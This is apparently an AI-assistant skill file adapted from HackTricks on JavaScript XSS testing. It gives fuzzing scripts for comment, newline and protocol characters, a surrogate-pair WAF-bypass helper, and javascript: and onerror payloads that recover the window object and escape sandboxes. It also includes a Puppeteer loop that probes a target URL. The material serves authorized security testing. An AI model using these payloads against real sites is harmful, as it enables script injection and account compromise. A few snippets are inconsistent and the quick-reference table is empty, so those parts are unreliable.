Hacktricks-skills js-xss-pentesting
JavaScript-based XSS and security testing techniques. Use this skill whenever the user needs to test for XSS vulnerabilities, fuzz JavaScript input, bypass WAF protections, escape JavaScript sandboxes, or analyze JavaScript behavior for security research. This includes generating payloads, understanding valid JavaScript characters, protocol fuzzing, and automated browser testing. Make sure to use this skill when the user mentions XSS, JavaScript security, WAF bypass, sandbox escape, or any web application security testing involving JavaScript.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xss-cross-site-scripting/other-js-tricks/SKILL.MDJavaScript XSS & Security Testing
A comprehensive guide to JavaScript-based security testing techniques for XSS vulnerabilities, WAF bypass, and sandbox escapes.
JavaScript Fuzzing
Valid JavaScript Comment Characters
JavaScript accepts various characters as comment delimiters. These can be used to bypass filters:
// Single line comment /* Multiline comment */ #! Single line (must be at beginning) --> Single line (must be at beginning)
Fuzzing script to discover valid comment characters:
for (let j = 0; j < 128; j++) { for (let k = 0; k < 128; k++) { for (let l = 0; l < 128; l++) { if (j == 34 || k == 34 || l == 34) continue; // Skip quotes if (j == 0x0a || k == 0x0a || l == 0x0a) continue; // Skip newlines if (j == 0x0d || k == 0x0d || l == 0x0d) continue; // Skip carriage returns if (j == 0x3c || k == 0x3c || l == 0x3c) continue; // Skip < if ((j == 47 && k == 47) || (k == 47 && l == 47)) continue; // Skip // try { var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; eval(cmd); } catch(e) { var err = e.toString().split('\n')[0].split(':')[0]; if (err === 'SyntaxError' || err === 'ReferenceError') continue; console.log(err, cmd); } } } }
Valid JavaScript Newline Characters
JavaScript interprets these characters as newlines:
| Character | Code | Hex |
|---|---|---|
| LF | 10 | 0x0a |
| CR | 13 | 0x0d |
| Line Separator | 8232 | 0xe2 0x80 0xa8 |
| Paragraph Separator | 8233 | 0xe2 0x80 0xa9 |
Fuzzing script to discover valid newline characters:
for (let j = 0; j < 65536; j++) { try { var cmd = '"aaaaa";' + String.fromCharCode(j) + '-->a.orange.ctf"'; eval(cmd); } catch (e) { var err = e.toString().split("\n")[0].split(":")[0]; if (err === "SyntaxError" || err === "ReferenceError") continue; console.log(`[${err}]`, j, cmd); } }
Valid Characters in Function Calls
Characters that can appear between a function name and parentheses:
function x() {} log = []; for (let i = 0; i <= 0x10ffff; i++) { try { eval(`x${String.fromCodePoint(i)}()`); log.push(i); } catch(e) {} } // Valid codes: 9,10,11,12,13,32,160,5760,8192-8202,8232,8233,8239,8287,12288,65279
Valid String Generation Characters
Characters that can form valid strings:
log = []; for (let i = 0; i <= 0x10ffff; i++) { try { eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`); log.push(i); } catch (e) {} } // Valid: 34 (double quote), 39 (single quote), 47 (regex), 96 (backticks)
WAF Bypass Techniques
Surrogate Pairs
Surrogate pairs can bypass WAF protections by encoding bytes differently:
def unicode(findHex): """Find surrogate pairs matching specific byte patterns""" for i in range(0, 0xFFFFF): H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) h = chr(int(H[-2:], 16)) L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) l = chr(int(L[-2:], 16)) if (h == findHex[0]) and (l == findHex[1]): print(H.replace("0x", "\\u") + L.replace("0x", "\\u"))
Protocol Fuzzing
Fuzz the
javascript: protocol to find bypasses:
log = []; let anchor = document.createElement('a'); for (let i = 0; i <= 0x10ffff; i++) { anchor.href = `javascript${String.fromCodePoint(i)}:`; if (anchor.protocol === 'javascript:') { log.push(i); } } // Valid: 9, 10, 13, 58 // Example usage: let anchor = document.createElement('a'); anchor.href = `javascript${String.fromCodePoint(58)}:alert(1337)`; anchor.textContent = 'Click me'; document.body.append(anchor); // HTML alternative: // <a href="javascript:alert(1337)">Test</a>
URL Fuzzing
Before the protocol:
a = document.createElement("a"); log = []; for (let i = 0; i <= 0x10ffff; i++) { a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`; if (a.hostname === "hacktricks.xyz") { log.push(i); } } // Valid: 0-32 (control characters and space)
Between slashes:
a = document.createElement("a"); log = []; for (let i = 0; i <= 0x10ffff; i++) { a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`; if (a.hostname === "hacktricks.xyz") { log.push(i); } } // Valid: 9, 10, 13, 47, 92
HTML Comment Fuzzing
Characters that can close HTML comments:
log = []; div = document.createElement("div"); for (let i = 0; i <= 0x10ffff; i++) { div.innerHTML = `<!----${String.fromCodePoint(i)}><span></span>-->`; if (div.querySelector("span")) { log.push(i); } } // Valid: 33 (!), 45 (-), 62 (>)
JavaScript Function Tricks
.call()
and .apply()
.call().apply()Execute functions with custom
this context:
function test_call() { console.log(this.value); // "baz" } new_this = { value: "hey!" }; test_call.call(new_this); // With arguments: function test_call() { console.log(arguments[0]); // "arg1" console.log(arguments[1]); // "arg2" console.log(this); // [object Window] } test_call.call(null, "arg1", "arg2"); // .apply() with array of arguments: function test_apply() { console.log(arguments[0]); // "arg1" console.log(arguments[1]); // "arg2" } test_apply.apply(null, ["arg1", "arg2"]);
Arrow Functions
Concise function syntax:
// Traditional function plusone(a) { return a + 1; } // Arrow plusone = (a) => a + 1; // Multiple parameters (a, b) => a + b + 100; // No parameters () => a + b + 1;
.bind()
.bind()Create function copies with modified
this and parameters:
var fn = function(param1, param2) { console.info(this, param1, param2); }; // Bind with custom this var bindFn = fn.bind(console, "fixingparam1"); bindFn("Hello", "World"); // Bind with null this var bindFnNull = fn.bind(null, "fixingparam1");
Function Code Leak
Extract function source code:
function afunc() { return 1 + 1; } // Multiple ways to get function code: console.log(afunc.toString()); console.log(String(afunc)); console.log(this.afunc.toString()); console.log(global.afunc.toString()); // For anonymous functions: ;(function() { return arguments.callee.toString(); })(); // Extract code from another function: ;(function() { return (retFunc) => String(arguments[0]); })((a) => { /* Hidden comment */ })();
Sandbox Escape Techniques
Recovering Window Object
Access global functions from restricted contexts:
// Direct access window.eval("alert(1)"); frames; globalThis; parent; self; top; // Topmost window // From document document.defaultView.alert(1); // From node object node = document.createElement('div'); node.ownerDocument.defaultView.alert(1); // From error events <img src onerror="event.path.pop().alert(1337)"> <img src onerror="event.composedPath().pop().alert(1337)"> <svg><image href=1 onerror="evt.composedPath().pop().alert(1337)"></svg> // Using Error.prepareStackTrace Error.prepareStackTrace = function(error, callSites) { callSites.shift().getThis().alert(1337); }; new Error().stack; // Using with() statement <img src onerror="with(document) { defaultView.alert(1337); }">
Breakpoint Debugging
Set breakpoints on property access:
// Break on sessionStorage/localStorage access sessionStorage.getItem = localStorage.getItem = function(prop) { debugger; return sessionStorage[prop]; }; localStorage.setItem = function(prop, val) { debugger; localStorage[prop] = val; }; // Break on specific property access function debugAccess(obj, prop, debugGet = true) { var origValue = obj[prop]; Object.defineProperty(obj, prop, { get: function() { if (debugGet) debugger; return origValue; }, set: function(val) { debugger; origValue = val; } }); } // Example: debug prototype pollution debugAccess(Object.prototype, "ppmap");
Automated Browser Testing
Puppeteer Payload Testing
Automate XSS payload testing with headless browser:
const puppeteer = require("puppeteer"); async function sleep(ms) { return new Promise((resolve) => setTimeout(resolve, ms)); } (async () => { const browser = await puppeteer.launch(); const page = await browser.newPage(); // Loop through different payload values for (let i = 0; i < 10000; i += 100) { console.log(`Run number ${i}`); const input = `${"0".repeat(i)}${realPasswordLength}`; await page.goto(`https://target.com/page?param=${input}`); // Execute function in page context await page.evaluate("generate()"); // Extract results const content = await page.$$eval( ".alert .page-content", (node) => node[0].innerText ); console.log(content); await sleep(1000); } await browser.close(); })();
Additional Resources
Tools
-
Hackability Inspector (PortSwigger): Analyze JavaScript object attributes
-
Shuji: Analyze .map JavaScript files
References
- JavaScript for Hackers by Gareth Heyes
- https://mathiasbynens.be/notes/javascript-unicode
- https://mathiasbynens.be/notes/javascript-encoding
- https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md
Quick Reference
Common Bypass Patterns
| Technique | Example |
|---|---|
| Newline in protocol | |
| Comment bypass | |
| Function space | |
| String quotes | |
| Protocol fuzz | |
Decrement Operator Trick
The
-- operator can remove variables from scope:
--variableName; // Sets variable to NaN, effectively removing it
Usage Guidelines
- Always test in controlled environments - These techniques can be destructive
- Document findings - Keep records of successful bypasses
- Respect scope - Only test systems you have authorization for
- Combine techniques - Multiple bypasses often work together
- Stay updated - Browser behavior changes frequently